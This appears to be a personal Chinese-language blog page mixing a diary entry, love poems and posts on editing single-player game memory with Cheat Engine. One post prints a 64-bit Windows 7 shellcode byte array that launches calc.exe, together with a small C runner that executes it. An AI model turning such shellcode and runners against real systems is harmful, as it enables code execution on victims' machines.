MoonBay

天下本無事，庸人自擾之

Apr 27

這三天來因為某件事情，讓我的心情一直在谷底
真的讓我很受傷異常地難睡黑眼圈都跑出來打招呼了
想要找朋友去唱歌吃飯抒發自己的難過情緒
多麼希望是我想太多，發生的一切只是一連串的誤導加誤導，而造成的”假象”
其實真的不知道，到底哪個才是答案
好吧
得承認我這雙眼無法看穿所有，徘徊於假設和虛實之間，謎題只有越解越多。

最後終於在今天或許是因為我已經漸漸接受這個”事實”
也或許終於上帝幫我開了另一扇窗? 讓我的心轉了念頭

想想就算真的是往壞的方向發展，那又如何?
我還是得過生活，還是不可以忘記自己到底該做哪些本分事
如果這是上帝祢的安排，我接受而我直到現在才稍稍為了解祢讓我遇到這挫折的本意

我不知道還有沒有機會但我還是想努力
雖然我暫時地失卻了勇氣勇気がない!!!

不過像是電車男裡網友鼓勵電車君的話

1: 如果你現在放棄了你就只會變回原來的你

2 一開始你就沒想過會成功既然堅持到現在了為什麼不繼續堅持下去

最近明顯地感覺到自己的腳恢復的不錯，也越來越強壯了，但是還是得多休息
不然又會痛了 = = 希望到五月多就可以恢復正常了!!!

Leave a Comment none Read more

那關於愛情的

Apr 24

Emo

畫冊
——————-

允許我把妳畫入
生命的畫冊
簡單勾勒
我們緊握的雙手
再請用妳的愛
幫我上色到最後一頁

雨不止歇
——————–

一首詩還未寫完就要停筆
停在這使人寂寞難過的雨裡
祈禱妳能多給我一點時間
讓我寫盡對妳的情詩
然
句號狠心地
把這段不及萌芽的愛情
收進信中
寄到那不曾哭泣卻終日深鎖的心頭

Leave a Comment none Read more

Windows 7 Professional SP1 English Calc.exe Shellcode(64)

Feb 27

Shellcode


/*

* Windows 7 Professional SP1 English Calc.exe Shellcode(64)

* MoonFish  -- test

*/

char shellcode[] =

"\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x21\x2c"

"\xf4\x76\xff\xd3\x31\xc0\x50\xbb\xe0\x79"

"\xec\x76\xff\xd3\xe8\xe5\xff\xff\xff\x63"

"\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main(int argc, char **argv)

{

int (*moonfish)();

moonfish = (int (*)()) shellcode;

(int)(*moonfish)();

}

Leave a Comment none Read more

最近在玩得一些遊戲修改

Dec 11

Computer, Note

最近在玩修改Plants VS Zombies這款小遊戲，就順便修改一下我偶而會玩的其他小遊戲
我玩的遊戲很少啦… (= _ =)

看圖就說明一切了!!!

1.打棒球

2.Minesweeper

2.InkBall
change timer value and could “frozen” the timer value.
By doing the following change, the timer value will increase one every second.
could change score and best score!! 觀察一下就好

00EC2D62 – EB 3B – jmp 00EC2D9F
00EC2D64 – 2B C7 – sub eax,edi <--- add eax,edi
00EC2D66 - 89 43 28 - mov [rbx+28],eax <<
00EC2D69 - 3D F82A0000 - cmp eax,00002AF8
00EC2D6E - 73 2F - jae 00EC2D9F

00EC1970 - E8 2F6F0000 - call 00EC88A4
00EC1975 - 90 - nop
00EC1976 - 01 5F 2C - add [rdi+2C],ebx <--add score from timer value(replace)
00EC1979 - 8B 47 2C - mov eax,[rdi+2C]
00EC197C - 3B 47 28 - cmp eax,[rdi+28]

replace with :
add ebx, 100
add [rdi+2C],ebx

3.Spider Solitaire
could “frozen”/change game score and game-move value.

FFD93563 – 75 0B – jne FFD93570
FFD93565 – 48 8B 81 E8000000 – mov rax,[rcx+000000E8]
FFD9356C – 83 40 10 01 – add dword ptr [rax+10],01 <<-- add dword ptr [rax+10],00
FFD93570 - 83 B9 F8000000 00 - cmp dword ptr [rcx+000000F8],00
FFD93577 - 76 28 - jna FFD935A1

will stop adding move-value

3.Stair

Top
0040698B – C1 E0 05 – shl eax,05
0040698E – 8B 4D 08 – mov ecx,[ebp+08]
00406991 – 83 AC 08 70110000 06 – sub dword ptr [eax+ecx+00001170],06 << health -6(replace)
00406999 - E9 7D000000 - jmp 00406A1B
0040699E - 8B 45 F8 - mov eax,[ebp-08]

replace:
sub dword ptr [eax+ecx+00001170],00 <-- won't lose the health points

Button
0040630B - C1 E0 05 - shl eax,05
0040630E - 8B 4D 08 - mov ecx,[ebp+08]
00406311 - 83 AC 08 70110000 05 - sub dword ptr [eax+ecx+00001170],05 << health -5(replace)
00406319 - 8B 45 F4 - mov eax,[ebp-0C]
0040631C - C1 E0 05 - shl eax,05

replace:
sub dword ptr [eax+ecx+00001170],00 <-- won't lose the health points

stair
00404DAE - C7 80 F8120000 00000000 - mov [eax+000012F8],00000000
00404DB8 - 8B 45 08 - mov eax,[ebp+08]
00404DBB - FF 80 FC120000 - inc [eax+000012FC] <<--stair +1 (replace)
00404DC1 - 5F - pop edi
00404DC2 - 5E - pop esi

newmem:
add [eax+000012FC],0000000A

Leave a Comment none Read more

Plants vs Zombies 修改

Dec 4

Note

前幾個禮拜朋友介紹的一款小遊戲，覺得很好玩耶!!!大家可以買來玩玩看
瘋狂地玩個三四天後就破關了XDXD

先開啟PvZ再用Cheat Engine來修改

1. 修改太陽能

觀察太陽能的變化可以很簡單地追蹤出太陽能數值所在的記憶體
直接把太陽能修改成9999，修改過後的數值可以直接”凍結”起來，這樣可以讓數值永遠都維持在9999
不過測試的結果是如果換到下一場game的時候太陽能又得再追蹤一次了

2. 修改Wisdom Tree高度

觀察Wisdom tree高度，可以追蹤出高度數值所在記憶體，直接把高度改成9999

修改後的數值9999!!!

3. 修改無限金幣

透過觀察金幣的數值變化然後修改其數值，或是直接修改 ” 0AB4F348 “的數值

這是原先的金幣數值

找尋金幣數值，目前我的金幣是26760，但只要尋找數值2676就好了

買東西後變動數值

搜尋變動數值26560 –> 2656
並把數值改為9999這樣將會有金幣99990可以使用，並且”凍結”後將會保持金幣數值為修改過後的值(99990)

修改過後的金幣99990!!!!!!!!!!!!!!而且”凍結”後買任何東西金幣都不會變!!!

4. 修改Super Plant!!!

Super Plant顧名思義就像是拿到星星的馬力歐…無敵狀態，雖然不若星星馬力歐可以直接撞飛敵人
但也是不會被咬掉就是了 = =…整個是無敵狀態……可以拿來衝survival endless flag!!
修改位址” 00540680 “的code為”NOP” (Replace with code that does nothing)
因為版本不同其他可能的位址為” 0052FCF0 “,” 00530440 ”
或者直接尋找assembly code: ” add dword ptr [esi+40],fc “

尋找位址” 00540680 ”

使用”Replace with code that does nothing”